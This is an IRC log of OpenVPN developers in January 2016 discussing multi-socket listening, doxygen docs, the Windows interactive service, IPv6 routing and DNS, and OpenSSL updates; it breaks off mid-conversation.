01:05 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 01:12 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 02:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:47 <@syzzer> cron2: yes, that is on purpose - if you have to specify where you're headers are located (i.e. they are not at default system locations), it only makes sense to also specify which object file you want to load 02:58 <@cron2> o 02:58 <@cron2> ok 02:58 <@cron2> (my system is a bit weird for historic reasons - I should clean that up so the question does not even arise) 04:03 -!- dazo_afk is now known as dazo 13:46 -!- dazo is now known as dazo_afk 13:51 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 240 seconds] 13:55 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 21:49 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 22:01 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Wed Jan 20 2016 00:23 -!- ju1c3d [~juiced@wm-002.juiced.net] has joined #openvpn-devel 00:26 < ju1c3d> Hi all, this question is probably asked already many many times, but...when will aead cipher modes be available in openvpn? :-D 00:26 < ju1c3d> should i dive away now? 00:28 < ju1c3d> maybe there is a testversion available already somewhere? 00:41 -!- ju1c3d [~juiced@wm-002.juiced.net] has quit [Quit: leaving] 02:17 <@syzzer> ju1c3d: a preview is available on https://github.com/syzzer/openvpn/tree/aead-cipher-modes12 02:17 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes12 - C - GitHub (at github.com) 02:31 <@cron2> he left right after asking... somewhat silly approach 02:56 -!- dazo_afk is now known as dazo 04:28 <@vpnHelper> RSS Update - wishlistfeed: getting OPENVPN to run at start up with windows 7 <http://forums.openvpn.net/topic20803.html> 05:38 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 260 seconds] 05:51 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 07:51 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:58 -!- Netsplit *.net <-> *.split quits: riddle, @d12fk, esde, s7r, luckman212, lev__ 08:00 -!- Netsplit over, joins: luckman212 08:00 -!- Netsplit over, joins: riddle 09:32 -!- krzie [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 09:46 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 13:32 -!- dazo is now known as dazo_afk 17:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 17:06 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Ping timeout: 260 seconds] 17:07 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 17:10 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:44 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 17:45 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 19:35 -!- arlen [~arlen@jarvis.arlen.io] has quit [Read error: Connection reset by peer] 19:49 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 19:56 -!- arlen [~arlen@jarvis.arlen.io] has quit [Max SendQ exceeded] 20:00 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 20:47 -!- arlen [~arlen@jarvis.arlen.io] has quit [Remote host closed the connection] 22:04 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 22:28 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] --- Day changed Thu Jan 21 2016 01:13 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 01:35 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 02:29 <@cron2> https://medium.com/@nayafia/how-i-stumbled-upon-the-internet-s-biggest-blind-spot-b9aa23618c58#.4cb3dj9s8 02:29 <@vpnHelper> Title: How I Stumbled Upon The Internet’s Biggest Blind Spot — Medium (at medium.com) 02:30 <@cron2> interesting article about VC funding and open source 03:44 -!- dazo_afk is now known as dazo 03:58 <@dazo> [OT] https://twitter.com/amyengineer/status/689992100188962816 06:53 <@cron2> mattock: what is needed to wake up novaflash? I have a small AS problem... 07:34 <@mattock> you could try email 07:35 <@mattock> do you have his address? 07:54 <@cron2> well... I hoped for a short path via #openvpn-as... 08:22 <@mattock> I see you're on that channel already 08:22 <@mattock> there's probably not much more I can do to wake him up than you've already done 08:22 <@mattock> he has sent some emails today, so he's alive definitely 08:23 <@cron2> I'll mail :) 08:32 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 08:54 <@mattock> automatically updating doxygen documentation based on Git "master": http://build.openvpn.net/doxygen/html/ 08:54 <@vpnHelper> Title: OpenVPN: OpenVPN source code documentation (at build.openvpn.net) 08:54 <@mattock> linked to from the Trac front page 08:54 <@mattock> printing a book out of it is probably also possible using the LaTeX files 08:55 <@mattock> http://build.openvpn.net/doxygen/latex/ 08:55 <@vpnHelper> Title: Index of /doxygen/latex/ (at build.openvpn.net) 08:55 <@mattock> :) 09:50 <@dazo> mattock: I believe something is missing ... there's no API docs ... doxygen should parse the *.c and *.h files too and generate nice docs on that too, especially on all declarations with doxygen comments ... have a look at src/openvpn/ssl_verify_polarssl.h as an example ... all functions with /** comments should be listed in the HTML 09:52 <@dazo> mattock: as an example: http://www.eurephia.net/doxygen/eurephia-devel/files.html 09:52 <@vpnHelper> Title: eurephia v1.x - Developer: File List (at www.eurephia.net) 09:52 <@dazo> http://www.eurephia.net/doxygen/eurephia-devel/eurephia__log_8c.html 09:52 <@vpnHelper> Title: eurephia v1.x - Developer: common/eurephia_log.c File Reference (at www.eurephia.net) 10:33 <@mattock> dazo: interesting... I just ran "doxygen openvpn.doxyfile" 10:33 <@mattock> I'll need to do a bit of research, unless syzzer has the answer to this conundrum 10:57 <@dazo> mattock: try to run doxegen in the project root dir 11:01 <@dazo> I just ran doxygen doc/doxygen/openvpn.doxyfile ... that generated a lot more 11:02 <@dazo> hmmm ... the dependency maps are .... quite amazing .... 11:03 <@dazo> I just looked at options.c :) 11:17 <@d12fk> plaisthos: have the multisockets thing running as a proof of concept now \o/ 11:17 <@d12fk> listens on and answers udp and tcp at the same time 11:19 <@d12fk> next: ip4 and ip6 together 11:24 <@d12fk> failed =/ 11:24 <@d12fk> bind(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("192.168.42.23")}, 16) = 0 11:25 <@d12fk> bind(7, {sa_family=AF_INET6, sin6_port=htons(443), inet_pton(AF_INET6, "feed::beef", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address) 11:25 <@d12fk> anyone? 11:28 <@dazo> d12fk: got some C code we can glare at? 11:29 <@dazo> but seeing tcp+udp at the same time is great! 11:29 <@d12fk> i think it is the way i manually set the v6 addr 11:29 <@d12fk> netcat can't listen on it either 11:30 <@d12fk> scope:site wrong maybe? 11:30 <@d12fk> where's cron2 when you need him =) 11:37 <@d12fk> ah duplicate address detection... mental not, don't use funny ipv6 addresses at work 11:44 <@dazo> hehehe 11:47 <@d12fk> hm, still the same with a valid ULA address =/ 11:47 <@d12fk> scope:global now however 11:50 <@dazo> [OT] http://www.bbc.com/news/world-europe-35371093 ... probably just Finnish people who could manage to top this one ... 11:50 <@vpnHelper> Title: Norwegian in underwear clings to car roof to stop thief - BBC News (at www.bbc.com) 11:54 <@d12fk> good way to scare off thiefs =) 11:54 <@dazo> lol, yeah :) 11:54 <@cron2> d12fk: socket set to PF_INET? 11:55 <@cron2> (in which case an ipv6 bind will fail, if I remember correctly) 11:55 <@d12fk> no strce looks fine above 11:56 <@d12fk> i think it has to do with eth0 11:56 <@d12fk> netcat binds to a ip6 on wlan0 fine 11:56 <@d12fk> trying with ovpn nor 11:56 <@d12fk> now 11:57 <@d12fk> eth0 is not RUNNING, that maybe? 11:57 <@d12fk> ^has no link 11:59 <@d12fk> binding to the v4 and v6 on wlan0 worked 11:59 <@d12fk> so it must be something with eth0 12:06 <@d12fk> btw, interesting things happen when client and server run on the same box with --topology subnet 12:07 <@d12fk> all things get routed into tun1 which ends up in the client process 12:08 <@d12fk> anyways, thing seem to work when two clients v4/upd/1194 and v6/tcp/443 connect 12:08 <@d12fk> now how do we get the ptch into a releasable state? 12:11 <@dazo> hmmm ... 1) submit to mailing list, 2) wait 4 months, 3) push for it, 4) wait another 2 months, 5) get review feedback, 6) fix it in 2 days, 7) goto 1 12:11 * dazo ducks 12:14 <@dazo> d12fk: if you push those patches somewhere, I can make a build and run on my private server ... can test that for a while 12:14 <@dazo> actually, I can run it on two different private servers 12:15 <@d12fk> dazo: pastebin? 12:15 <@dazo> could work ... no git tree? 12:16 <@d12fk> only locally 12:16 <@d12fk> not pushworthy in this state =) 12:16 <@dazo> push it to a temp dev branch ;-) 12:16 <@d12fk> can send-email to you 12:17 <@dazo> I can do pastebin or mail ... just easier to fetch your updates with git when you've done improvements 12:17 <@d12fk> true 12:17 <@d12fk> i'll push to github tomorrow 12:17 <@dazo> cool, thx! 13:47 -!- dazo is now known as dazo_afk 14:53 <@cron2> + ASSERT (&gc != NULL); 14:53 <@cron2> now that I want to review his code, he runs away... --- Day changed Fri Jan 22 2016 02:24 <@cron2> syzzer: are you snowboarding this week, or next? If you're still around - could you poke andj, and git-send-mail your patch set (those that are ready for review, not the "quick hack" bits :) ) to the list? 03:53 <@syzzer> mattock: you should run doxygen doc/doxygen/openvpn.doxyfile from the project root 03:58 <@syzzer> cron2: I leave this afternoon 04:15 <@d12fk> plaisthos: q about a comment in multisocket 04:16 <@d12fk> u there? 04:17 <@d12fk> in mtcp.c: "should be secondary top, is clone" 04:18 <@d12fk> i don't get it. is it still valid, since secondary top is already handled? 04:18 <@d12fk> besides that, i'll push the patch now, promised dazo 04:22 <@d12fk> https://github.com/d12fk/openvpn/tree/multiplesockets_1 04:22 <@vpnHelper> Title: d12fk/openvpn at multiplesockets_1 · GitHub (at github.com) 04:22 <@d12fk> just add multiple "listen <addr> <port> <proto>" lines to your config to have it listen there 04:29 * cron2 found a tester for that stuff :-) - right this minute someone in another channel asked for multi-listen... d12fk: I pointed him (ckratzer) to your repo, he'll go play with it over the weekend 04:29 <@cron2> fun 06:42 <@mattock> syzzer: ok, I'll retry that 06:42 <@mattock> (doxygen from root) 06:48 <@mattock> looks like it is doing a lot more stuff now 06:48 <@mattock> 731 graphs 06:56 <@mattock> from what I can see the documentation looks fine now 06:56 <@mattock> http://build.openvpn.net/doxygen/html/buffer_8h.html 06:56 <@vpnHelper> Title: OpenVPN: /root/openvpn/src/openvpn/buffer.h File Reference (at build.openvpn.net) 06:56 <@mattock> for example 06:56 <@mattock> graphs and everything 07:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 07:45 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:14 -!- dazo_afk is now known as dazo 08:21 <@dazo> mattock: you around? 08:22 <@dazo> mattock: please check what the user joshiroser0911 is up to ... I'm deleting revision 3 of the TitleIndex page 08:22 <@dazo> (wiki) 09:59 <@d12fk> damn, the diff for 2.3.9 is huge 10:00 <@d12fk> read as backporting to 2.3.8 is hard 10:09 <@mattock> dazo: did the joshiroser0911 do damage to any other pages? 10:09 <@dazo> mattock: I dunno 10:09 <@mattock> hmm, I'll see how one can check a full changelog of trac... 10:09 <@dazo> I didn't search that much, just thought more of the forums 10:11 <@mattock> well, even valid users can't really post to the forums, so those should be safe :| 10:11 <@dazo> ahh, okay 10:13 <@mattock> I also don't think blocking offending users makes much sense, because they can easily create new accounts to spam with 10:14 <@mattock> I haven't seen any of them come back with the same account anyways 10:15 <@mattock> https://community.openvpn.net/openvpn/timeline 10:15 <@vpnHelper> Title: Timeline – OpenVPN Community (at community.openvpn.net) 10:17 <@mattock> it seems to be missing some stuff though 10:17 <@mattock> or maybe the TitleIndex page is considered somehow special 11:36 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 12:30 <@dazo> agreed, mattock ... blocking makes little sense .... but seeing if they've done damage elsewhere is more fruitful 15:21 -!- dazo is now known as dazo_afk 16:36 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 16:40 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel --- Day changed Sat Jan 23 2016 03:35 < valdikss> Hi! Several clients are reporting that OpenVPN 2.3.10 can't set IPv6 address on Windows 7. They are sure they explicitly run it as an administrator. 03:35 < valdikss> Probably lev's index patch is the culprit. 03:36 < valdikss> Sat Jan 23 11:41:29 2016 NETSH: C:\Windows\system32\netsh.exe interface ipv6 set 03:36 < valdikss> address interface=20 2002:1fdc:2a18:1::10d4 store=active 03:36 < valdikss> Sat Jan 23 11:41:29 2016 ERROR: netsh command failed: returned error code 1 03:41 <@cron2> that looks reasonable 03:41 <@cron2> "20" is also the normal range for the ifindex on win7 03:41 <@cron2> (so 2.3.9 should look the same) 03:42 <@cron2> are they running from gui (which has changed wrt privilege requesting) or from cli? 03:49 < valdikss> cron2: gui. 03:49 < valdikss> cron2: asked one to reinstall, we'll see that's going on. 15:47 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 15:48 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 15:55 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 15:57 -!- s7r_ is now known as s7r 16:16 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 16:24 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 16:25 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 16:27 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Client Quit] 16:34 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 16:54 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 17:39 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 19:18 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 21:26 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Quit: Leaving] 22:18 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 22:25 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sun Jan 24 2016 03:45 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 03:50 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:30 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 256 seconds] 07:32 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 10:59 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] 11:47 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 11:52 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Client Quit] 11:52 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 11:53 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] 12:45 < valdikss> Please take a look at my WFP Vista patch. It's rather simple and straightforward, yet fixes Vista support. 12:51 * cron2 wonders where all of the windows team has disappeared... 12:51 <@cron2> :( 14:28 <@plaisthos> d12fk: Nice to see 14:28 <@plaisthos> I was a week on vacation --- Day changed Mon Jan 25 2016 02:30 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 02:32 <@d12fk> plaisthos: could you take a close look soon? I think you have a way better overwiew of all the weird way openvpn can be used, compared to me. I suspect the changes broke some setups. 02:43 <@plaisthos> d12fk: sure 02:44 <@plaisthos> d12fk: you ammended my commit, right? 02:44 <@d12fk> yes 02:44 <@plaisthos> I probably should read the whole commit anyway 02:44 <@plaisthos> I don't even know what I did 2 years ago :) 02:45 <@d12fk> me neither =P 02:45 <@plaisthos> :D 03:48 -!- dazo_afk is now known as dazo 05:45 <@vpnHelper> RSS Update - tickets: #649: Changing peer-id due to restart should not trigger ip commands <https://community.openvpn.net/openvpn/ticket/649> 07:13 <@cron2> plaistos: right. I think we even handle some of them as "nothing has changed" already... but it is a long time ago that I skimmed through that part of the code 07:17 <@plaisthos> cron2: I never looked at that code, so dunno :) 07:17 <@plaisthos> I know that I reinvented that wheel for my java ui code 07:26 <@mattock> meeting today, I presume 07:27 <@cron2> dunno... I had topics... but $kid[1] and $wife are sick since 4 days and I feel my brain going... being interrupted every 2 minutes ("papa I'm bored/hungry/want X/NOW!") instead of being able to go to work... 07:30 < mator> looks like a happy dad =) 07:36 <@mattock> uh, we can postpone 07:40 <@cron2> no idea who could make it anyway... syzzer is snowboarding (*envy*)... 07:42 <@mattock> ah, ok, postpone then 08:01 <@cron2> unless other folks (Selva, Valdikss, Lev) can attend... in which case I'm happy to be there and listen and occasionally argue a point :) 08:58 <@mattock> well, maybe having occasional meetings for the Windows team would make sense 08:58 <@mattock> now that we have a potential replacement for openvpnserv.exe we have one more guy on board 09:28 <@cron2> well, nothing precludes the windows team from joining "the meeting" :-) 09:28 <@cron2> but of course having a windows-specific meeting to discuss just windows topic every now and then might make sense as well (keep things focused) 09:40 <@d12fk> on that note, the new openvpn service in c# will break the interactive service patch set for good 09:49 <@cron2> I'm aware of that and wonder how to merge the different open issues surrounding the service... there's two totally different use cases, one is "fire up openvpn.exe, and restart it if needed, at boot time, and do not bother me with gui or anything", while the other one is "leverage service privs to make unpriv gui work" 09:50 <@cron2> and maybe there even is a third one "fire up the openvpn.exe at boot time, but permit GUI connects later on" (supposedly MI-GUI does this) 09:52 <@d12fk> the firing up thing has one big disadvantage over the interactive service, openvpn runs as administrator 09:52 <@d12fk> or system even maybe 09:53 <@d12fk> inhertis the services' privileges, which need to be high enough to set routes 09:54 <@d12fk> so doing automatic startup would actually be more secure using the interactive service and the credetials stored in the registry somewhere actually 09:54 <@cron2> true 09:54 <@d12fk> through a regular process run as the user that is 09:55 <@d12fk> mattock: is the use case of this boot time startup thing to get the tunnel working without having to give users admin rights? 09:55 <@cron2> have you changed/added anything to the iservice code since you put it up in your repo? 09:55 <@d12fk> or is it rather a connectivity thing? 09:55 <@d12fk> nope 09:55 <@cron2> since I managed to actually review dazo's patches, I could go and tackle iservice next... (as soon as the family is giving me a bit leeway) 09:56 <@d12fk> that would be cool 09:56 <@d12fk> have to run to a meeting brb 09:57 <@cron2> have fun 09:57 * cron2 needs to go and fetch medicine... 10:51 <@d12fk> cron2: back 11:58 <@cron2> mattock: which openssl version are you currently building windows binaries with? 11:59 <@cron2> an openssl update is coming, and 1.0.2 is flagged "high" - Jan 28 13:10 <@mattock> d12fk: the openvpnserv.exe replacement is intended for persistent tunnels that are launched on boot and are generally always on 13:10 <@mattock> the use case I see is for Windows servers 13:13 <@mattock> right now the old openvpnserv.exe is pretty much unusable on Windows 10, so we need a replacement a.s.a.p., and one that also can go into 2.3.x 13:15 <@mattock> cron2: see https://github.com/OpenVPN/openvpn-build/blob/master/generic/build.vars 13:15 <@vpnHelper> Title: openvpn-build/build.vars at master · OpenVPN/openvpn-build · GitHub (at github.com) 13:16 <@mattock> building new Windows installers with new OpenSSL is not a big deal, takes an hour or two 13:29 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 13:34 <@cron2> mattock: well, yes, but which version are you usign? 13:34 <@cron2> 1.0.1 would not need a respin, 1.0.2 quite likely 13:35 <@mattock> OPENSSL_VERSION="${OPENSSL_VERSION:-1.0.1q}" 13:41 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 13:43 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has joined #openvpn-devel 13:47 <@cron2> ic, should be good then 14:17 < mator> cro 14:17 < mator> cron2, 14:20 -!- dazo is now known as dazo_afk 14:41 < GrandMasta> Hey Guys, Im attempting to pin point a performance/client disconnection issue on an OVPN server. Does anyone happen to have a perftest fab file example they can share? Attempting to just spin up many client connections using a supplied ovpn-client.conf/certs. 14:42 < GrandMasta> using @Matto 14:42 < GrandMasta> *Using @Mattock perftest 14:58 <@cron2> mattock: btw, have you fixed "configure OPENSSL_..." to make master build windows again? 14:58 -!- GrandMasta [32c9e70a@gateway/web/cgi-irc/kiwiirc.com/ip.50.201.231.10] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client] 15:13 <@cron2> mmmh, merging iservice onto master is an interesting challenge 15:13 <@cron2> someone fumbled quite a lot in route.c and tun.c in the meantime :-) 15:23 <@d12fk> that should be doable. done it twice already 15:25 <@cron2> of course it's doable, but this time it's a bit tricky 15:26 <@cron2> in tun.c, you move the argv stuff for netsh.exe into an if() clause, but lev__ modified the actual argv setup in the meantime, so "just taking your part of the conflict" will bring in old code 15:26 <@cron2> nearly done anyway... let's see if it compiles :) 15:32 <@cron2> ah, now it will explode because configure flags have changed 15:36 <@cron2> should openvpn-msg.h be inside #ifdef WIN32 or not? 15:37 <@cron2> route.c: In function 'do_route_ipv6_service': 15:37 <@cron2> route.c:2827:17: error: 'const struct route_ipv6' has no member named 'metric_defined' .metric = (r->metric_defined ? r->metric : -1) 15:37 <@cron2> yeah, someone broke that :-) 15:40 <@cron2> easily fixed... now it blows up with fwpmu.h and iketypes.h... 15:40 <@cron2> mattock: what are you using to build master on ubuntu14.04? stock mingw, or patched? 15:52 <@cron2> ok, fwpmtypes.h hacked, iketypes.h hacked (sheesh) 15:52 <@cron2> d12fk: I have two binaries now, openvpn.exe and openvpnserv.exe - what next? 15:53 <@cron2> as in "how do I install a service"? 15:55 <@d12fk> cron2: openvpnserv -install 15:55 <@d12fk> i think you have to uninstall the revious one first: -remove iirc 15:57 <@cron2> now that sounds easy :-) 15:57 <@cron2> anything else? or should the gui then auto-detect "iservice there!" and pass the service handle? 15:57 <@cron2> (well, ensure it's started, of course :) ) 15:59 <@cron2> ok, will test that tomorrow-ish - rebase done, compiling, git diff looks reasonable 16:19 <@d12fk> cron2: yes the gui will detect that the service is there and use it 16:28 <@cron2> mmmh, more changes in the ipv6 routing stuff needed 16:28 <@cron2> (master will not only install routes to tun/tap but also /128 host routes via normal interfaces, in case overlapping v6 inside/outside is seen) 16:31 <@cron2> but that actually simplifies the code in do_route_ipv6_service as we now always have a valid adapter index (netsh.exe uses "interface=nn" nowadays) --- Day changed Tue Jan 26 2016 00:15 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 240 seconds] 00:23 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 00:40 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 00:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 01:36 < valdikss> Do you want to laugh or cry? Routes to blocked IP addresses in Russia sets up in 10 (!!!) minutes on Windows 7 01:43 <@cron2> which method? netsh.exe is slow, but ipapi should be fairly fast 02:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 276 seconds] 02:28 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:44 -!- dazo_afk is now known as dazo 04:27 <@plaisthos> oh new OpenSSL security update incoming ... 04:28 <@plaisthos> Again ... 06:33 <@cron2> mmh 06:34 <@cron2> "OpenVPN Interactive Service installed." - that does not sound too bad yet 06:36 <@plaisthos> how do we specify IPv6 DNS servers? 06:36 <@plaisthos> it is not yet supported ,right? 06:42 <@cron2> plaisthos: technically, DNS is not supported anywhere but windows, or --up scripts... 06:43 <@cron2> but that not-support is IPv4 only today, as it's tied to DHCP(v4) options 06:52 <@plaisthos> I bet there is DHCPv4 option for IPv6 dns servers ;) 06:54 <@cron2> (un?)fortunately no 06:55 <@cron2> whee 06:55 <@plaisthos> maybe should came with something 06:55 <@cron2> "route addition via service succeeded" 06:56 <@plaisthos> dhcp-option DNS6 maybe? 06:57 <@cron2> that would at least permit "script users" to install v6 DNS records, yes 06:57 <@cron2> for windows, it wouldn't work, so we'd need something to poke ipapi/netsh accordingly... 06:57 <@plaisthos> yeah 06:58 <@plaisthos> I tried dhcp-option DNS ipv6addr but that fails in a stupid way on my android client 06:58 <@plaisthos> I am reusing the windows parsing code and that refuses to handle non IPv4 addresses 06:58 * cron2 expected something like that :) 06:59 <@cron2> d12fk: I have a few questions for you :-) 07:04 <@d12fk> cron2: at service 07:07 <@cron2> d12fk: service is a good point indeed :-) 07:07 <@cron2> when I install the iservice with "openvpnserv -install", it installs both - can I differentiate there? 07:07 <@cron2> like, "i only want the iservice"? 07:08 <@d12fk> nope, the binary holds both services 07:09 <@cron2> second, after I -install the iservice, it is not running yet ("starttyp = automatisch") and the GUI can't use it - but "openvpnserv -start" will start the *old* service 07:09 <@d12fk> you could probably modify it to selectively install but it is not implemented 07:09 <@cron2> d12fk: ok, something for the TODO list then, after getting the basic stuff in 07:10 <@d12fk> i think you can -start interactive iirc 07:10 <@cron2> let me test 07:11 <@cron2> ah, indeed, the help shows a flag to -start, and if no argument is given, it starts the old one 07:12 <@cron2> next question - when I run "openvpnserv -help", it tells me "StartServiceCtrlDispatcher being called. This may take serveral seconds. Please wait." - what is it trying to tell me? 07:12 <@cron2> (-start interactive works) 07:12 <@d12fk> that windows sucks 07:13 <@d12fk> the while service subsystem is shit from the old ages 07:13 <@cron2> this I know :) 07:13 <@d12fk> *whole 07:14 <@d12fk> work sufficiently well. not hearing much complaints from customers 07:14 <@d12fk> so far only one had a very esoteric problem that was not solvable 07:14 <@cron2> true, but why is it printing anything after -help? 07:14 <@d12fk> some windows api call returned success but the system behaved as is failed... 07:14 <@cron2> whee 07:14 <@d12fk> told him to fix his windows =) 07:15 <@d12fk> probably connects to the service subsystem for some reason 07:15 <@d12fk> all this stuff is happening in common.c if you care to look 07:16 <@cron2> ok, I'll check... 07:16 <@d12fk> just found out that the dynamic route lists patch is still not applied 07:16 <@cron2> huh, what? 07:17 <@d12fk> it's probably very broken again 07:17 <@d12fk> some customers ran into the issue that the default route list length wasn't enough for them 07:18 <@d12fk> instead of patching their system with --max-routes iI made the route list a dynamically allocated linked list 07:18 <@cron2> I would have sworn that this went in 07:18 <@plaisthos> it is in master 07:18 <@plaisthos> not sure about 2.3 07:18 <@d12fk> the multilisten stuff dumps core with it applied =) 07:18 <@d12fk> ah then it's an issue with my 2.3 backport 07:19 <@cron2> ah 07:19 * d12fk stops complaining then 07:19 <@plaisthos> hehe 07:19 <@plaisthos> I know that I was very happy about that patches 07:19 <@cron2> yes, I'm fairly sure it is in, because coverity had a false positive about a mem leak in there 07:19 <@d12fk> but master could dump core during shutdown then as well 07:19 <@d12fk> *with multilisten in place 07:19 <@plaisthos> Because I could remove my custom "calculate the number of routes" stuff 07:20 <@cron2> commit d0085293e709c8a722356cfa68ad74c962aef9a2 07:20 <@cron2> Author: Heiko Hund <heiko.hund@sophos.com> 07:20 <@plaisthos> (which I need for people which had like 1200 routes in their config files) 07:20 <@cron2> grow route lists dynamically 07:20 <@d12fk> enough slapping with trouts already =) 07:21 <@cron2> we leave enough patches dangling and rotting on the list :-( - so it could have happened 07:25 <@cron2> d12fk: oh, next wish :-) - could the GUI signal somehow that the iservice was found? 07:26 <@cron2> I see interesting debugging coming up with the GUI silently falling back to "well, then just run openvpn as user!" if the service has not been started (for whichever reason) and "it worked yesterday!" 07:26 <@d12fk> that is indicated in the openvpn log file 07:26 <@cron2> it is? 07:26 <@d12fk> it is mentioned that the route were set through the service 07:26 * cron2 looks again 07:26 <@cron2> well, yes 07:27 <@cron2> (for IPv4 :) ) 07:28 <@d12fk> ipv6 was always done with netsh and had no such msg, right? 07:28 <@d12fk> could be added though 07:30 <@cron2> adding the message for v6 is on my list, easy enough 07:30 <@d12fk> do you have a git repo we could sync at? 07:30 <@cron2> not yet 07:31 <@cron2> right now I have funny problems with openvpn.exe just crashing with no notice ("the process is gone, the gui status window is open at PUSH_REQUEST and no indication what happened") 07:31 <@cron2> might be due to log permissions as unprivileged user 07:32 <@cron2> and I can't close the GUI as it is waiting for the (dead) openvpn.exe to quit 07:33 <@cron2> ah. took just a bit. retry 07:33 <@d12fk> you can stop the connection and it will timeout and go back to disconnected 07:33 <@d12fk> yes takes a while 07:34 <@d12fk> the log is traansferred via mgmt itf 07:35 <@d12fk> a you mean the one for the user. we write it into the user's home dir 07:35 <@d12fk> i think ths is mangaed through registry 07:35 <@d12fk> if you double click the try icon you see the online log file 07:35 <@d12fk> or better data 07:35 <@cron2> first line in the "status/log window" is "cannot write to c:\program files (x86)\openvpn\log\test.log" 07:36 <@d12fk> ah yeah the you have to fix the registry 07:36 <@d12fk> hang on i'll find it for you 07:37 <@cron2> should that make the openvpn.exe process die at "SENT CONTROL: PUSH_REQUEST"? Well, it seems to be "not truly dead", but it's not doing anything anymore either - it's in the process list, but no more activity in the log window 07:38 